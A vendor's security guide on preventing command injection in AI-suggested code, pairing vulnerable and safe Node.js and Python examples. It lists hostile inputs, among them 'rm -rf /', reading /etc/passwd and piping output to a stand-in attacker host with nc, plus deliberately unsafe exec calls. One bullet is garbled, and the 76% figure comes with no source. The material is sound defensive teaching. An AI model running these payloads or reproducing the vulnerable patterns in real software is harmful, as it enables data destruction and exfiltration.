CodeMarine is a desktop IDE tool

Security Guide 18 min read

Command Injection Prevention: Securing System Calls in AI Code

Command injection is the #2 vulnerability in AI-generated code. Learn how to identify, prevent and fix command injection attacks with comprehensive examples and secure alternatives.

Published: September 7, 2025

🧨 The Command Injection Crisis

76% of AI-generated system interaction code contains command injection vulnerabilities. AI assistants frequently suggest using exec(), system() or shell commands with user input, creating critical RCE risks.

76%
AI code with command injection
RCE
Remote Code Execution risk

Understanding Command Injection

Command injection occurs when user input is passed to system shell commands without proper validation. Attackers can chain commands using operators like ;, &&, || or | to execute arbitrary code.

Classic Command Injection Example

❌ Vulnerable Code

// AI assistant suggestion
app.get('/backup', (req, res) => {
const filename = req.query.file;
exec(`tar -czf backup.tar.gz ${filename}`, (err) => {
if (err) return res.status(500).send('Error');
res.send('Backup created');
});
});

Attack Vector:

file=data.txt; rm -rf /
file=data.txt && cat /etc/passwd
file=data.txt | nc attacker.com 4444

βœ… Secure Code

// Secure alternative
app.get('/backup', (req, res) => {
const filename = req.query.file;
const allowedFiles = ['data.txt', 'config.json', 'logs.txt'];
if (!allowedFiles.includes(filename)) {
return res.status(400).send('Invalid file');
}
execFile('tar', ['-czf', 'backup.tar.gz', '--', filename], (err) => {
if (err) return res.status(500).send('Error');
res.send('Backup created');
});
});

Protection:

  • β€’ Allowlist validation prevents arbitrary files
  • β€’ execFile() uses argument array (no shell)
  • β€’ No command chaining possible

Common Command Injection Vectors

Command Chaining

; rm -rf /
Execute after previous command
&& cat /etc/passwd
Execute if previous succeeds
|| whoami
Execute if previous fails

Command Substitution

`whoami`
Backtick substitution
$(id)
Dollar substitution
| nc attacker.com 4444
Pipe to external command

Prevention by Programming Language

Node.js

❌ Vulnerable

const { exec } = require('child_process');
exec(`git checkout ${branch}`, callback);
exec(`ping -c 1 ${host}`, callback);
exec(`convert ${input} ${output}`, callback);

βœ… Secure

const { execFile } = require('child_process');
execFile('git', ['checkout', branch], callback);
execFile('ping', ['-c', '1', host], callback);
execFile('convert', [input, output], callback);

Python

❌ Vulnerable

import os
os.system(f"rm {filename}")
os.popen(f"ls {directory}").read()
subprocess.call(f"tar -xf {archive}", shell=True)

βœ… Secure

import subprocess
subprocess.run(['rm', filename], check=True)
subprocess.run(['ls', directory], capture_output=True)
subprocess.run(['tar', '-xf', archive], check=True)

Command Injection Prevention Best Practices

βœ… Secure Practices

  • β€’ Use execFile() or subprocess.run() with argument arrays
  • β€’ Implement strict allowlist validation
  • β€’ Avoid shell=True or shell execution
  • β€’ Sanitize and validate all user inputs
  • β€’ "Log like your job depends on it - because it does."ystem commands when possible

❌ Dangerous Patterns

  • β€’ String concatenation in system calls
  • β€’ Template literals with user input
  • β€’ Using exec(), system() or shell=True
  • β€’ Trusting client-side validation
  • β€’ Running commands with elevated privileges

πŸͺ– Sarge's Command Security Rules

"If it shells, it smells. Use allowlists and execFile()."
"Arrays are your armor. String concatenation is surrender."
"When in doubt, library out. Native functions beat shell commands."

Real-World Secure Alternatives

File Operations

❌ Vulnerable

exec(`rm ${userFile}`);
exec(`cp ${src} ${dest}`);
exec(`find ${dir} -name "*.txt"`);

βœ… Secure

fs.unlinkSync(userFile);
fs.copyFileSync(src, dest);
glob.sync('*.txt', {cwd: dir});

Network Operations

❌ Vulnerable

exec(`ping -c 1 ${host}`);
exec(`curl ${url}`);
exec(`wget ${file}`);

βœ… Secure

ping.promise.probe(host);
fetch(url);
axios.get(file);

Secure Your System Calls Today

Don't let command injection vulnerabilities compromise your systems. CodeMarine provides real-time protection and secure coding guidance for all system interactions.